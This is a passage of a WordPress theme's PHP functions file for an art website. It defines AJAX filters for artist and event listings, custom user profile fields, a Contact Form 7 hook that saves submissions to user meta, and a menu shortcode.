'save_country_wording_metaboxes', 1, 2); // filter persons function artist_filter_function(){ $args_artist = array( 'posts_per_page'=>-1, 'post_type' => array ('person'), 'post_status' => 'publish', 'nopaging' => true, ); if( empty($_POST['filtertype']) && empty($_POST['filtercountry']) ) { $args_artist['tax_query'] = array( 'relation' => 'OR', array( 'taxonomy' => 'role', 'field' => 'slug', 'terms' => $_POST['filterrole'] ) ); } if( isset($_POST['filtertype']) && $_POST['filtertype'] && !empty($_POST['filtertype']) ) { $args_artist['tax_query'] = array( 'relation' => 'AND', array( 'taxonomy' => 'type', 'field' => 'slug', 'terms' => $_POST['filtertype'], ), array( 'taxonomy' => 'role', 'field' => 'slug', 'terms' => $_POST['filterrole'] ) ); } if( isset($_POST['filtercountry']) && $_POST['filtercountry'] && !empty($_POST['filtercountry']) ) { $args_artist['tax_query'] = array( 'relation' => 'AND', array( 'taxonomy' => 'country', 'field' => 'slug', 'terms' => $_POST['filtercountry'], ), array( 'taxonomy' => 'role', 'field' => 'slug', 'terms' => $_POST['filterrole'] ) ); } if( isset($_POST['filtercountry']) && $_POST['filtercountry'] && isset($_POST['filtertype']) && $_POST['filtertype']) { $args_artist['tax_query'] = array( 'relation' => 'AND', array( 'taxonomy' => 'country', 'field' => 'slug', 'terms' => $_POST['filtercountry'], ), array( 'taxonomy' => 'type', 'field' => 'slug', 'terms' => $_POST['filtertype'], ), array( 'taxonomy' => 'role', 'field' => 'slug', 'terms' => $_POST['filterrole'] ) ); } $query = new WP_Query( $args_artist ); if( $query->have_posts() ) { ob_start(); echo '<div class="gallery gallery-list flex-center">'; while ($query->have_posts()) : $query->the_post(); echo '<article>'; $gallerymage = get_field('a54_img_1'); echo '<a href="'.get_the_permalink().'"><img src="'. (($gallerymage) ? esc_url($gallerymage['sizes']['thumbnail']) : 'https://art54.org/wp-content/uploads/fond-vert.jpg') .'" alt="'. esc_attr($value['alt']).'" title="'. esc_attr($value['title']).'" /></a>'; echo '<a href="'.get_the_permalink().'">'.get_the_title().'</a>'; echo '</article>'; endwhile; echo '</div>'; } else { echo '<p class="blog-info">Désolé, nous n\'avons trouvé aucun élément correspondant à votre recherche.</p>'; } die(); } add_action('wp_ajax_artistfilter', 'artist_filter_function'); add_action('wp_ajax_nopriv_artistfilter', 'artist_filter_function'); // filter event function event_filter_function(){ $args_artist = array( 'posts_per_page'=>-1, 'post_type' => array ('event'), 'post_status' => 'publish', 'nopaging' => true, ); if( isset($_POST['filtertime']) && $_POST['filtertime'] && !empty($_POST['filtertime']) ) { $args_artist['tax_query'] = array( 'relation' => 'AND', array( 'taxonomy' => 'time', 'field' => 'slug', 'terms' => $_POST['filtertime'], ) ); } if( isset($_POST['filtercountry']) && $_POST['filtercountry'] && !empty($_POST['filtercountry']) ) { $args_artist['tax_query'] = array( 'relation' => 'AND', array( 'taxonomy' => 'country', 'field' => 'slug', 'terms' => $_POST['filtercountry'], ) ); } if( isset($_POST['filtercountry']) && $_POST['filtercountry'] && isset($_POST['filtertime']) && $_POST['filtertime']) { $args_artist['tax_query'] = array( 'relation' => 'AND', array( 'taxonomy' => 'country', 'field' => 'slug', 'terms' => $_POST['filtercountry'], ), array( 'taxonomy' => 'time', 'field' => 'slug', 'terms' => $_POST['filtertime'], ) ); } $query = new WP_Query( $args_artist ); if( $query->have_posts() ) { ob_start(); echo '<div class="gallery gallery-list flex-center">'; while ($query->have_posts()) : $query->the_post(); echo '<article>'; $gallerymage = get_field('a54_img_1'); echo '<a href="'.get_the_permalink().'"><img src="'. (($gallerymage) ? esc_url($gallerymage['sizes']['thumbnail']) : 'https://art54.org/wp-content/uploads/fond-vert.jpg') .'" alt="'. esc_attr($value['alt']).'" title="'. esc_attr($value['title']).'" /></a>'; echo '<a href="'.get_the_permalink().'">'.get_the_title().'</a>'; echo '</article>'; endwhile; echo '</div>'; } else { echo '<p class="blog-info">Désolé, nous n\'avons trouvé aucun élément correspondant à votre recherche.</p>'; } die(); } add_action('wp_ajax_eventfilter', 'event_filter_function'); add_action('wp_ajax_nopriv_eventfilter', 'event_filter_function'); // hide admin bar for subscribers function remove_admin_bar() { if (!current_user_can('administrator') && !is_admin()) { show_admin_bar(false); } } add_action('after_setup_theme', 'remove_admin_bar'); // user profile // //modify user profile field function modify_contact_methods($profile_fields) { // Add new fields $profile_fields['phone'] = 'Your phone number'; $profile_fields['address'] = 'Your postal address'; $profile_fields['city'] = 'Your residencial city'; $profile_fields['country'] = 'Your residencial country'; $profile_fields['jobtitle'] = 'Your job title'; $profile_fields['facebook'] = 'Your Facebook URL'; $profile_fields['instagram'] = 'Your instagram page'; $profile_fields['linkedin'] = 'Your Linkedin URL'; $profile_fields['video'] = 'Your video platform (Youtube, Vimeo...)'; $profile_fields['twitter_url'] = 'Your Twitter URL'; $profile_fields['other_link'] = 'Add another link'; // Remove old fields unset($profile_fields['yahoo']); unset($profile_fields['aim']); unset($profile_fields['twitter']); unset($profile_fields['tumblr']); unset($profile_fields['soundcloud']); unset($profile_fields['wikipedia']); return $profile_fields; } add_filter('user_contactmethods', 'modify_contact_methods'); /* add custom profile field */ add_action( 'show_user_profile', 'my_show_extra_profile_fields' ); add_action( 'edit_user_profile', 'my_show_extra_profile_fields' ); function my_show_extra_profile_fields( $user ) { ?> <h3>Extra profile information</h3> <table class="form-table"> <tr> <th><label for="favorite_artists">Quels sont vos artistes préférés ?</label></th> <td> <textarea type="text" name="favorite_artists" id="favorite_artists" class="regular-text"><?php echo esc_attr( get_the_author_meta( 'favorite_artists', $user->ID ) ); ?></textarea><br /> </td> </tr> <tr> <th><label for="favorite_events">Quels sont vos événements artistiques préférés ?</label></th> <td> <textarea type="text" name="favorite_events" id="favorite_events" class="regular-text"><?php echo esc_attr( get_the_author_meta( 'favorite_events', $user->ID ) ); ?></textarea><br /> </td> </tr> <tr> <th><label for="favorite_masterpiece">'Quelles sont vos 5 oeuvres phares</label></th> <td> <textarea type="text" name="favorite_masterpiece" id="favorite_masterpiece" class="regular-text"><?php echo esc_attr( get_the_author_meta( 'favorite_masterpiece', $user->ID ) ); ?></textarea><br /> </td> </tr> </table> <?php } /* save custom profile field */ add_action( 'personal_options_update', 'my_save_extra_profile_fields' ); add_action( 'edit_user_profile_update', 'my_save_extra_profile_fields' ); function my_save_extra_profile_fields( $user_id ) { if ( !current_user_can( 'edit_user', $user_id ) ) return false; update_usermeta( $user_id, 'favorite_artists', $_POST['favorite_artists'] ); update_usermeta( $user_id, 'favorite_events', $_POST['favorite_events'] ); update_usermeta( $user_id, 'favorite_masterpiece', $_POST['favorite_masterpiece'] ); } function cf7import() { $submission = WPCF7_Submission::get_instance(); if ( $submission ) { $posted_data = $submission->get_posted_data(); } global $wpdb; $user_id = get_current_user_id(); update_user_meta( $user_id, 'first_name', $posted_data['user-first_name'] ); update_user_meta( $user_id, 'last_name', $posted_data['user-last_name'] ); update_user_meta( $user_id, 'nickname', $posted_data['user-nickname'] ); update_user_meta( $user_id, 'address', $posted_data['user-address'] ); update_user_meta( $user_id, 'city', $posted_data['user-city'] ); update_user_meta( $user_id, 'country', $posted_data['user-country'] ); update_user_meta( $user_id, 'url', $posted_data['user-url'] ); update_user_meta( $user_id, 'phone', $posted_data['user-phone'] ); update_user_meta( $user_id, 'video', $posted_data['user-video'] ); update_user_meta( $user_id, 'twitter_url', $posted_data['user-twitter'] ); update_user_meta( $user_id, 'linkedin', $posted_data['user-linkedin'] ); update_user_meta( $user_id, 'facebook', $posted_data['user-facebook'] ); update_user_meta( $user_id, 'instagram', $posted_data['user-instagram'] ); update_user_meta( $user_id, 'video', $posted_data['user-video'] ); update_user_meta( $user_id, 'other_link', $posted_data['user-other-link'] ); update_user_meta( $user_id, 'favorite_artists', $posted_data['user-favorite_artists'] ); update_user_meta( $user_id, 'favorite_events', $posted_data['user-favorite_events'] ); update_user_meta( $user_id, 'favorite_masterpiece', $posted_data['user-favorite_masterpiece'] ); } add_action('wpcf7_before_send_mail', 'cf7import',1); function print_menu_shortcode($atts=[], $content = null) { $shortcode_atts = shortcode_atts([ 'name' => '', 'class' => '' ], $atts); $name = $shortcode_atts['name']; $class = $shortcode_atts['class']; return wp_nav_menu( array( 'menu' => $name, 'menu_class' => $class, 'echo' => false ) ); } add_shortcode('menu', 'print_menu_shortcode');
Save
Cancel